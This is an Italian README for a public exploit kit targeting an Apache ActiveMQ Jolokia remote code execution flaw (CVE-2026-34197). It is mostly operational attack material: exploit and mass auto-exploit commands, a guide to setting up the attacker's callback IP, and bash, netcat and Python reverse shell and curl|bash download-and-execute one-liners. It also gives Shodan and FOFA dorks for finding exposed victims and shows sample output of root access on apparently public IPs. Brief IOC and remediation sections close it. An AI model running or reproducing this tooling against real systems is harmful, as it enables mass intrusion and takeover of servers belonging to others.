
Exploit per Apache ActiveMQ RCE tramite API Jolokia (CVE-2026-34197) con acquisizione dell'output dei comandi, scansione di massa e sfruttamento automatico.
Panoramica • Dettagli • Flusso di attacco • Avvio rapido • Guida ATTACKER_IP • Utilizzo • Cattura output • Scanner • Ricognizione • Rilevamento • Rimedi
CVE-2026-34197 è una vulnerabilità critica di esecuzione di codice remoto (RCE) in Apache ActiveMQ Classic che consente a un utente autenticato di eseguire comandi arbitrari del sistema operativo tramite l'API Jolokia esposta sulla console web.
La vulnerabilità esiste da oltre 13 anni e risiede nell'interazione tra Jolokia (ponte HTTP-JMX), gli MBean di ActiveMQ, i connettori di rete e il trasporto VM.
[!CAUTION] Questo è un primo PoC pubblico sviluppato da KONDOR DEV SECURITY. Utilizzare solo in valutazioni di sicurezza autorizzate.
id, whoami, cat /etc/passwd) mostrano automaticamente il loro output nel terminaleversion_check.py) — rilevamento versione multithread + sfruttamento mirato| ID CVE | CVE-2026-34197 |
| Gravità | |
| Tipo | Esecuzione di codice remoto (RCE) |
| CWE | CWE-20 (Validazione input impropria) / CWE-94 (Iniezione di codice) |
| Versioni affette | ActiveMQ Classic < 5.19.4 e 6.0.0 — 6.2.2 |
| Versioni corrette | 5.19.4 / 6.2.3 |
| Autenticazione richiesta | Sì (le credenziali predefinite admin:admin sono comuni) |
| Senza autenticazione | 6.0.0 — 6.1.1 (a causa di CVE-2024-32114) |
| Porta predefinita | 8161 (console web) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### Ripartizione passo-passo
| Passo | Azione | Componente |
|:----:|--------|-----------|
| **1** | L'attaccante invia una POST a `/api/jolokia/` che richiama `addNetworkConnector` sul Broker MBean | API Jolokia |
| **2** | ActiveMQ elabora l'URI di trasporto `vm://` e crea un broker effimero con `brokerConfig` che punta a un URL remoto | Trasporto VM |
| **3** | Lo schema `xbean:` attiva il download di un file di configurazione Spring XML dal server dell'attaccante | Spring / XBean |
| **4** | Spring istanzia tutti i bean nell'XML, incluso uno che chiama `Runtime.getRuntime().exec()` | Contesto Spring |
| **5** | Per i comandi semplici, l'output viene catturato e rispedito tramite POST HTTP al listener dell'attaccante (automatico) | Cattura dell'output |
---
## Struttura del Progetto```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### Ambiente di Laboratorio (Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### Scanner + Auto-Exploit (consigliato per target di massa)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP (-l / --lhost)Il parametro -l (o --lhost) è fondamentale per il funzionamento dell'exploit. Specifica l'indirizzo IP su cui la tua macchina servirà il payload Spring XML dannoso. Il server ActiveMQ di destinazione deve essere in grado di raggiungere questo IP tramite la rete per scaricare il payload.
ATTACKER_IP?Quando l'exploit viene attivato, dice ad ActiveMQ: "Scarica la tua configurazione da http://ATTACKER_IP:8888/payload.xml". ActiveMQ effettua quindi una richiesta HTTP in uscita verso la tua macchina. Se non riesce a raggiungerti, l'exploit fallisce silenziosamente.```
YOUR MACHINE TARGET (ActiveMQ)
──────────── ─────────────────
ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
(serves payload.xml) (downloads & executes)
### Come determinare il tuo `ATTACKER_IP`
| Scenario | Come trovarlo | Esempio |
|----------|---------------|---------|
| **Stessa LAN** (laboratorio, pentest interno) | Il tuo IP locale/privato | `ip a` → `192.168.1.50` |
| **VPN** (HTB, THM, rete interna) | Il tuo IP del tunnel VPN | `ip a show tun0` → `10.10.14.23` |
| **Target remoto via Internet** | Il tuo IP pubblico | `curl ifconfig.me` → `203.0.113.42` |
| **VPS cloud** (attacco da un server) | L'IP pubblico del VPS | Controlla la dashboard del tuo provider cloud |```bash
# Linux — find your IPs
ip -4 addr show # All interfaces
ip addr show tun0 # VPN interface (HTB/THM)
ip addr show eth0 # Ethernet / cloud
curl -s ifconfig.me # Public IP
# Windows
ipconfig # All interfaces
(Invoke-WebRequest ifconfig.me).Content # Public IP (PowerShell)
# macOS
ifconfig en0 # Wi-Fi
ifconfig utun0 # VPN
curl -s ifconfig.me # Public IP
| Errore | Perché fallisce | Correzione |
|---|---|---|
Usare 127.0.0.1 o localhost | Il target tenta di scaricare da se stesso, non da te | Usa il tuo IP di rete reale |
Usare un IP privato (192.168.x.x) per un target su Internet | Il target non può instradare verso la tua rete privata | Usa il tuo IP pubblico o un VPS |
Usare il tuo IP pubblico ma la porta 8888 è bloccata | Firewall/NAT scarta la connessione in entrata dal target | Apri la porta 8888 nel firewall/router, oppure usa -lp con una porta aperta |
Usare l'IP dell'interfaccia sbagliata (es. eth0 invece di tun0) | Il target non può raggiungere quel segmento di rete | Abbina l'interfaccia che ha una rotta verso il target |
Prima di eseguire l'exploit, conferma che il target possa raggiungere il tuo listener:```bash
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"
curl http://ATTACKER_IP:8888/
### Port forwarding (NAT scenarios)
If you're behind a router/NAT and attacking an Internet-facing target:```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues
# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP
# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit
sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT
sudo ufw allow 8888/tcp
New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow
### Esempio completo di flusso di lavoro```bash
# Step 1: Identify your IP
$ ip addr show tun0
inet 10.10.14.23/23 ...
# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
[+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]
# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444 # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
-c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1" # Terminal 2
[!IMPORTANT] L'
ATTACKER_IPin-le all'interno dei comandi di reverse shell (/dev/tcp/ATTACKER_IP/4444) deve essere la stessa IP raggiungibile. Se usi un'IP diversa nel comando di reverse shell, la shell si connetterà al posto sbagliato.
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker
### Mass Scan (Più Obiettivi)```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"
# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt
# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass
Il file targets.txt deve contenere un URL per riga:```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
Funzionalità di scansione di massa:
- **Auto-deduplicazione** — gli URL duplicati vengono rimossi automaticamente
- **Server HTTP singolo** — il server del payload si avvia una sola volta e viene riutilizzato per tutti i target
- **Fallback di autenticazione** — se le credenziali falliscono (401), riprova automaticamente senza autenticazione (CVE-2024-32114)
- **Nomi dei connettori casualizzati** — evita collisioni di registrazione JMX tra i target
- **Salvataggio incrementale** — i target vulnerabili vengono salvati immediatamente (sicuro con Ctrl+C)
- **Supporto HTTPS** — funziona sia con target HTTP che HTTPS
### Reverse Shell
Le reverse shell e i comandi con caratteri speciali (`>`, `&`, `|`, `;`, `$`, ecc.) vengono **automaticamente codificati in base64** per evitare problemi di escaping XML/shell.```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "curl http://ATTACKER_IP/shell.sh | bash"
# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Nota: Avvia il tuo listener prima di eseguire l'exploit:
nc -lvnp 4444
Sia exploit.py che version_check.py possono acquisire e visualizzare automaticamente l'output dei comandi per comandi semplici come id, whoami, cat /etc/passwd, hostname, ecc.
Quando esegui un comando semplice, l'exploit lo avvolge automaticamente per inviare stdout/stderr al tuo listener tramite HTTP POST:``` YOUR MACHINE (ATTACKER_IP:8888) TARGET (ActiveMQ) ─────────────────────────────── ─────────────────
(payload served) Executes wrapped command:
OUTPUT=$(id 2>&1)
curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
Displays: "uid=0(root) gid=0(root)..."
#### Esempio con output```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
[*] Target: http://10.129.45.67:8161
[*] Command: id
[*] Output: capture enabled (will POST back to listener)
[*] Broker: localhost
[*] Auth: admin
[*] Sending request to Jolokia...
[+] Jolokia accepted the operation (status=200)
[*] Waiting for the target to download the payload...
[+] Payload served to 10.129.45.67
[+] Target downloaded the payload. Command executed.
[*] Waiting for command output...
[+] Command output received:
──────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────
| Tipo di comando | Esempio | Comportamento |
|---|---|---|
| Comandi semplici | id, whoami, cat /etc/passwd, ls -la, uname -a | Output catturato e visualizzato automaticamente |
| Reverse shell | bash -i >& /dev/tcp/..., nc ... -e /bin/sh, mkfifo... | Rilevato come interattivo — nessun wrapping, funziona come prima |
| Comandi che usano curl/wget | curl http://..., wget http://... | Rilevato come interattivo — nessun wrapping, per evitare interferenze |
Il rilevamento è automatico. Non è necessario passare alcun flag aggiuntivo.
La cattura dell'output richiede curl o wget sul sistema target. Se nessuno dei due è disponibile:
[!TIP] La maggior parte dei sistemi Linux (e le immagini Docker di ActiveMQ) hanno
curlpreinstallato. Se la cattura dell'output va in timeout ma l'RCE è confermato, è probabile che al target manchino siacurlchewget.
| Flag | Descrizione | Default |
|---|---|---|
-t, --target | URL del singolo target | — |
-T, --targets-file | File con gli URL dei target (uno per riga) | — |
-l, --lhost | IP dell'attaccante per servire il payload | obbligatorio |
-lp, --lport | Porta del server HTTP locale | 8888 |
-c, --command | Comando OS da eseguire | obbligatorio |
-u, --user | Nome utente Jolokia | admin |
-p, --password | Password Jolokia | admin |
--no-auth | Salta l'autenticazione | false |
--broker-name | Override del nome del broker | rilevamento automatico |
-o, --output | File di output per i target vulnerabili | vulnerables.txt |
--timeout-wait | Secondi di attesa per il download del payload | 15 |
Nota:
-te-Tsi escludono a vicenda. Usa uno o l'altro.
version_check.py)Lo strumento consigliato per più target. Una pipeline a 2 fasi che prima rileva le versioni di ActiveMQ su tutti i target (veloce, multithread), poi sfrutta automaticamente solo quelli vulnerabili con verifica RCE reale tramite callback del payload.
version_check.py vs exploit.py| Scenario | Strumento | Perché |
|---|---|---|
| Hai una lista di target e vuoi scoprire quali sono vulnerabili | version_check.py | Prima scansiona le versioni (veloce), poi sfrutta solo quelli vulnerabili |
| Vuoi scansionare senza sfruttare (solo ricognizione) | version_check.py | Ometti -l/-c per la modalità solo scansione |
| Hai un singolo target confermato | exploit.py | Più semplice, sfruttamento diretto |
| Vuoi sfruttare un host specifico subito | exploit.py | Nessun overhead di scansione |
| Hai 100+ target da Shodan/LeakIX | version_check.py | La Fase 1 multithread gestisce liste grandi in pochi secondi |
┌─────────────────────────────────────────────────────────┐ │ PHASE 1 — Version Detection (fast, multithreaded) │ │ │ │ targets.txt ──→ 10 threads query Jolokia in parallel │ │ GET .../BrokerVersion │ │ │ │ For each target: │ │ 1. Try auth (admin:admin) │ │ 2. If 401 → retry without auth (CVE-2024-32114) │ │ 3. If brokerName=localhost fails → try wildcard (*) │ │ 4. Extract: version, real broker name, working auth │ │ 5. Classify: [VULNERABLE] or [PATCHED] │ │ │ │ Output: list of vulnerable candidates with metadata │ └──────────────────────┬──────────────────────────────────┘ │ only vulnerable targets ▼ ┌─────────────────────────────────────────────────────────┐ │ PHASE 2 — RCE Verification (sequential, with callback) │ │ (only runs if -l and -c are provided) │ │ │ │ For each vulnerable target: │ │ 1. Generate Spring XML payload with command │ │ 2. Send addNetworkConnector via Jolokia │ │ 3. Wait for target to download payload (callback) │ │ 4. If callback received → RCE CONFIRMED │ │ │ │ Output: confirmados.txt with RCE-confirmed targets │ └─────────────────────────────────────────────────────────┘
### Logica di classificazione delle versioni
Lo scanner classifica automaticamente le versioni in base agli intervalli interessati:
| Versione | Classificazione |
|---------|---------------|
| `< 5.19.4` (es. 5.15.9, 5.18.6) | `[VULNERABLE]` |
| `>= 5.19.4` (es. 5.19.4, 5.20.0) | `[PATCHED]` |
| `6.0.0` fino a `6.2.2` | `[VULNERABLE]` |
| `>= 6.2.3` | `[PATCHED]` |
### Guida all'uso passo dopo passo
#### Passo 1 — Prepara il file dei target
Crea un file `targets.txt` con un URL per riga. I duplicati vengono rimossi automaticamente.```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161
[!TIP] Usa le Guide di Hunting per trovare i target tramite Shodan, LeakIX, FOFA, Censys o Google Dorks.
Se vuoi solo identificare quali target sono vulnerabili senza sfruttarli, ometti -l e -c:```bash
python version_check.py -T targets.txt
Questo esegue **solo la Fase 1**. Non viene avviato alcun server HTTP, non vengono inviati payload, non vengono eseguiti comandi. Il file di output conterrà le informazioni sulla versione per ogni target vulnerabile:```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker
Puoi aumentare la velocità di scansione con più thread:```bash python version_check.py -T targets.txt --threads 20
#### Step 3 — Scansione + auto-exploit (pipeline completa)
Per scansionare **e** sfruttare in un'unica esecuzione, aggiungi `-l` (il tuo ATTACKER_IP) e `-c` (comando):```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
Questo esegue entrambe le fasi:
[VULNERABLE] (sequenziale, con verifica del callback)[!IMPORTANT]
ATTACKER_IPdeve essere raggiungibile dai target. Il server ActiveMQ di destinazione effettuerà una richiesta HTTP in uscita ahttp://ATTACKER_IP:8888/payload.xml. Consulta la guida ATTACKER_IP per i dettagli sulla scelta dell'IP corretto.
I target confermati come vulnerabili vengono salvati in modo incrementale nel file di output (predefinito: confirmados.txt):```
http://52.234.160.12:8161 | 5.15.9 | admin
Il formato è: `URL | versione | metodo_di_autenticazione`. Puoi quindi usarli singolarmente con `exploit.py` per ulteriori attività post-exploitation.
### Esempi di utilizzo```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt
# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20
# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999
# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
# nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth
# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30
# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
--threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt
ATTACKER_IP in version_check.pyIl parametro -l si comporta esattamente come in exploit.py, ma con una differenza fondamentale: il server HTTP viene avviato una sola volta e riutilizzato per tutti i target nella Fase 2.```
YOUR MACHINE (ATTACKER_IP) TARGETS
────────────────────────── ───────
HTTP server on :8888 Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888
(started once, reused) Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888
Target 3 (v6.2.3) ──→ [PATCHED, skipped]
**La Fase 1 NON richiede `ATTACKER_IP`** — interroga solo Jolokia per le informazioni sulla versione. Puoi eseguire la sola Fase 1 per fare ricognizione senza esporre il tuo IP.
**La Fase 2 richiede `ATTACKER_IP`** — i target devono raggiungere il tuo server HTTP per scaricare il payload. Se un target non può raggiungerti, andrà in timeout (default: 15s) e verrà marcato come "nessun callback ricevuto" — ma questo non significa necessariamente che non sia vulnerabile (i firewall potrebbero bloccare il traffico in uscita).
### Parametri
| Flag | Descrizione | Default |
|------|-------------|---------|
| `-T, --targets-file` | File con gli URL dei target (uno per riga) | *obbligatorio* |
| `-l, --lhost` | IP dell'attaccante per il callback (abilita la Fase 2) | — |
| `-c, --command` | Comando da eseguire (abilita la Fase 2) | — |
| `-lp, --lport` | Porta del server HTTP locale | `8888` |
| `-o, --output` | File di output per i target confermati | `confirmados.txt` |
| `-u, --user` | Nome utente Jolokia | `admin` |
| `-p, --password` | Password Jolokia | `admin` |
| `--no-auth` | Salta l'autenticazione | `false` |
| `--threads` | Thread concorrenti per la Fase 1 | `10` |
| `--timeout` | Timeout per richiesta nella Fase 1 | `10s` |
| `--wait` | Secondi di attesa per il callback nella Fase 2 | `15s` |
> **Nota:** Sia `-l` che `-c` devono essere forniti insieme per abilitare la Fase 2. Se manca uno dei due, viene eseguita solo la Fase 1 (scansione).
### Funzionalità
- **Pipeline a 2 fasi** — prima scansione rapida delle versioni, poi sfruttamento mirato
- **Fase 1 multithread** — scansiona centinaia di target in pochi secondi
- **Rilevamento intelligente del broker** — gestisce le risposte con wildcard `brokerName=*`, estrae il nome reale del broker dalle chiavi MBean
- **Fallback di autenticazione** — se `admin:admin` fallisce (401), riprova senza autenticazione (CVE-2024-32114)
- **Nomi connettore casuali** — evita collisioni JMX (`rce{random8}` unico per ogni target)
- **Wrapping automatico in base64** — reverse shell e caratteri speciali funzionano subito
- **Salvataggio incrementale** — i target confermati vengono salvati immediatamente (sicuro premere Ctrl+C a metà scansione)
- **Modalità solo scansione** — ometti `-l`/`-c` per rilevare solo le versioni senza sfruttare
- **Classificazione delle versioni** — marca `[VULNERABLE]` / `[PATCHED]` in base agli intervalli interessati
- **Server HTTP singolo** — avviato una volta nella Fase 2, riutilizzato per tutti i target (nessun conflitto di porte)
### Reverse shell con `version_check.py`
Quando usi `version_check.py` per inviare una reverse shell, hai bisogno di **due cose in esecuzione contemporaneamente**:
1. Un **listener netcat** sulla tua macchina in attesa della connessione della shell in arrivo
2. Il comando **version_check.py** che scansiona e sfrutta i target
La porta del listener (`nc -lvnp PORT`) **deve corrispondere** alla porta all'interno del comando della reverse shell (`/dev/tcp/ATTACKER_IP/PORT`).```
YOUR MACHINE (ATTACKER_IP)
──────────────────────────
Terminal 1: nc -lvnp 4444 ◄── Listening for reverse shell on port 4444
Terminal 2: version_check.py ... ──► Scans targets, exploits vulnerable ones
└─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
▲
TARGET (ActiveMQ) │
───────────────── │
Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘
nc -lvnp 4444
python version_check.py -T targets.txt -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
#### Utilizzare una porta diversa
Puoi usare qualsiasi porta desideri, purché entrambe le parti corrispondano:```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001
# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
> [!WARNING]
> **Confusione di porte da evitare:** L'exploit utilizza **due porte diverse** per due scopi diversi:
> - `-lp` (predefinita `8888`) — la porta del server HTTP dove ActiveMQ scarica il payload XML. Questa viene gestita automaticamente dallo script.
> - La porta dentro `/dev/tcp/.../4444` — la porta di callback della reverse shell dove TU ascolti con `nc`. Questa è una tua responsabilità aprire.
>
> Queste sono **indipendenti**. Non confonderle. Ti serve `nc -lvnp 4444` per la shell, e lo script gestisce `:8888` internamente.
### Esempio di output```
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit ║
║ Phase 1: Version Detection (fast, multithreaded) ║
║ Phase 2: RCE Verification (exploit + callback) ║
║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║
╚═══════════════════════════════════════════════════════════╝
[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id
════════════════════════════════════════════════════════════
PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════
[+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
[+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
[+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
[-] [4/124] http://167.172.150.143:8161 → 401
[-] [5/124] http://198.44.176.205:8161 → Connection refused
[*] Phase 1 complete: 3 with version, 3 vulnerable by version
════════════════════════════════════════════════════════════
PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════
[+] HTTP server on 0.0.0.0:8888
[1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 52.234.160.12
[+] Command output:
──────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)
[2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[*] No callback received within 15s
[3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 146.190.139.20
[+] Command output:
──────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)
════════════════════════════════════════════════════════════
FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned: 124
[*] Version detected: 3
[*] Vulnerable by version: 3
[+] RCE CONFIRMED: 2
[+] Saved to: confirmed.txt
✓ http://52.234.160.12:8161 | v5.15.9 | admin
✓ http://146.190.139.20:8161 | v5.15.6 | admin
| Risultato della Fase 2 | Cosa significa | Passo successivo |
|---|---|---|
RCE CONFIRMED + Command output: | Il target ha eseguito il comando e ha inviato l'output | Successo completo — puoi vedere l'output direttamente |
RCE CONFIRMED (nessun output) | Il target ha scaricato il payload ma non è stato ricevuto alcun output | L'RCE funziona, ma curl/wget potrebbero mancare sul target; usa una reverse shell |
No callback received within Ns | Il target non ha raggiunto il tuo server HTTP in tempo | Controlla la raggiungibilità di ATTACKER_IP, i firewall o aumenta --wait |
Jolokia accepted (status=200) | Jolokia ha elaborato la richiesta con successo | Buon segno — attendi il callback |
Jolokia status=500: ... | Jolokia ha restituito un errore | Potrebbe funzionare comunque (il download XML può avvenire nonostante il 500); controlla i log |
HTTP 401 | Autenticazione fallita per questo target | Il target richiede credenziali diverse |
HTTP 403 | Jolokia è limitato | Il target ha ACL — non sfruttabile con questo metodo |
Connection refused / Timeout | Il target non è raggiungibile | Problema di rete o target non attivo |
shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt
awk '{print "http://"$1}' raw_targets.txt > targets.txt
python version_check.py -T targets.txt --threads 20
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
nc -lvnp 4444 # Terminal 1
python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # Terminal 2
---
## Caccia e Ricognizione
Guide dettagliate per trovare istanze Apache ActiveMQ esposte utilizzando **Shodan**, **LeakIX**, **FOFA**, **Censys**, **ZoomEye** e **Google Dorks** — inclusi dork specifici per versione, rilevamento Jolokia, utilizzo CLI/API, passaggi di validazione dei target, regole SIEM/IDS e priorità di remediation.
<table>
<tr>
<td align="center">
<a href="https://github.com/kondordevsecuritycorp/cve-2026-34197/blob/main/docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="https://github.com/kondordevsecuritycorp/cve-2026-34197/blob/main/docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
</table>
### Dork Shodan rapidi```
"ActiveMQ" port:8161 # All exposed consoles
http.title:"Apache ActiveMQ" # By page title
"ActiveMQ" http.html:"jolokia" port:8161 # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161 # Exclude patched
+software:"Apache ActiveMQ" +port:"8161" # All exposed +banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed +software:"Apache ActiveMQ" +tag:"default-password" # Default creds
### Validazione del Target```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"
# Mass version scan (recommended)
python version_check.py -T targets.txt
[!TIP] Consulta le guide complete in
docs/per dork specifici per versione, filtri geografici, esempi API, regole IDS e flussi di lavoro di validazione passo-passo.
INFO | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
> **Nota:** La porzione `rce*` conterrà caratteri casuali (ad es. `rcek4m2x9ab`) poiché l'exploit randomizza i nomi dei connettori.
### IOC
| Indicatore | Descrizione |
|-----------|-------------|
| POST `/api/jolokia/` con `addNetworkConnector` | Tentativo di sfruttamento |
| HTTP GET in uscita dal processo ActiveMQ | Download del payload XML |
| HTTP POST in uscita dal processo ActiveMQ (esfiltrazione dell'output dei comandi) | Callback di acquisizione dell'output |
| URI `vm://` con `brokerConfig=xbean:http` | Connettore dannoso |
| Processi figli inattesi da Java/ActiveMQ (`curl`, `wget`, `bash`) | Esecuzione di comandi / esfiltrazione dell'output |
---
## Rimedio
| Priorità | Azione |
|----------|--------|
| **P0** | Aggiornare ad ActiveMQ Classic **5.19.4** o **6.2.3** |
| **P1** | Cambiare le credenziali predefinite della console web |
| **P2** | Limitare l'accesso di rete alla porta **8161** |
| **P3** | Monitorare i log del broker per URI `vm://` con pattern `xbean:http` |
---
## Risoluzione dei problemi
